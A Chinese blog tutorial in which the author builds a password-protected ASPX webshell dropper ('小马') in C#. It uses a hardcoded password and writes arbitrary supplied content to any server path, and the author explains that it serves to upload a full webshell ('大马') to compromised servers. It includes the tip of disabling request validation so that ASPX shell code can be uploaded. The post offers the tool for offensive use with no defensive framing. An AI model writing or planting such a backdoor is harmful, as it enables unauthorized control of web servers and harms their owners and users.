2013年6月1日星期六

菜鸟也来写带密码验证的aspx小马

《菜鸟也来写带密码验证的aspx小马》

作者:菲

在网上看见的小马大多都是没有密码验证的,大部分人很多时候在用小马传了大马以后都会忘记把小马删除,那就很可能被别人发现利用, 最近一直在学.net为了保护自己的劳动成果,我今天就写一个带密码验的小马。
                       一. 界面部分
首先用vs2005新建一个网站然后在这个网站里新建一个aspx文件,在新建aspx文件的时候,把将代码放在单独的文件中的钩去掉,如图1,不然的话会把事件写在另外一个文件里。

选择“设计”放5个Label和3个TextBox还有一个Button这样界面部分就ok了,如图2,
接下来就是代码的编写了。
                              二.代码编写
     既然是小马就要获得当前文件的绝对路径把获取当前文件绝对路径的代码写在Load事件里面当打开sqpx小马的时候读取绝对路径,Load事件代码如下
this is.Label6.Text=Server.MapPath(Request.ServerVariables["Script_Name"]);
获取当前文件绝对路径代码:
绝对路径搞定了,就剩下密码验证和上传的功能了这些都写在“上传”按钮的Click事件里面,密码验证和上传的代码入下:
string pass = "feihack";
        if (pass.Equals(TextBox3.Text.Trim()))//判断密码是否相等
        {
            if (TextBox2.Text != "")//判断上传路径是否为空
            {  
                StreamWriter s =new StreamWriter(this.TextBox2.Text,false,System.Text.Encoding.GetEncoding("gb2312"));
                s.Write(this.TextBox1.Text);//要写入的内容
                s.Flush();
                s.Close();
                Response.Write("上传成功!");
            }
            else
            {
                Response.Write("上传路径不能为空");
            }
        }
        else
        {
            Response.Write("密码不正确");
        }
先用变量pass保存密码,然后用if (pass.Equals(TextBox3.Text.Trim()))判断输入的密码和变量保存的密码是否相等。Equals()方法用来比较是否变量的值是否和输入的值相等如果相等返回true,如果密码正确在用if (TextBox2.Text != "")判断上传路径是否为空,
        StreamWriter s = new StreamWriter(this.TextBox2.Text, false, System.Text.Encoding.GetEncoding("gb2312"));
创建一个读写器对象为s 再用StreamWriter的时候需要引入System.IO这个命名空间,
StreamWriter(this.TextBox2.Text, false,System.Text.Encoding.GetEncoding("gb2312"))
()括号里面的参数this.TextBox2.Text表示要写入的文件路径,false表示如果文件存在删除后在创建,为true就在原有的文件上追加,System.Text.Encoding.GetEncoding("gb2312")表示字符编码。
s.Write(this.TextBox1.Text);的作用将this.TextBox1.Text的内容写入,s.Close()关闭当前的读写器。
到这这个小马就诞生了,但是在我测试的时候发现点问题,就是在用这款小马写aspx大马到服务器的时候出现了如图3的错误,

据 图上的提示信息我们把validateRequest="false 然后加在<%@ Page Language="C#" "%>里面,这样就可以了<%@ Page Language="C#" validateRequest="false"%>改进后可以正常上传aspx的大马。好了这款小马算是真正的写完了

没有评论:

发表评论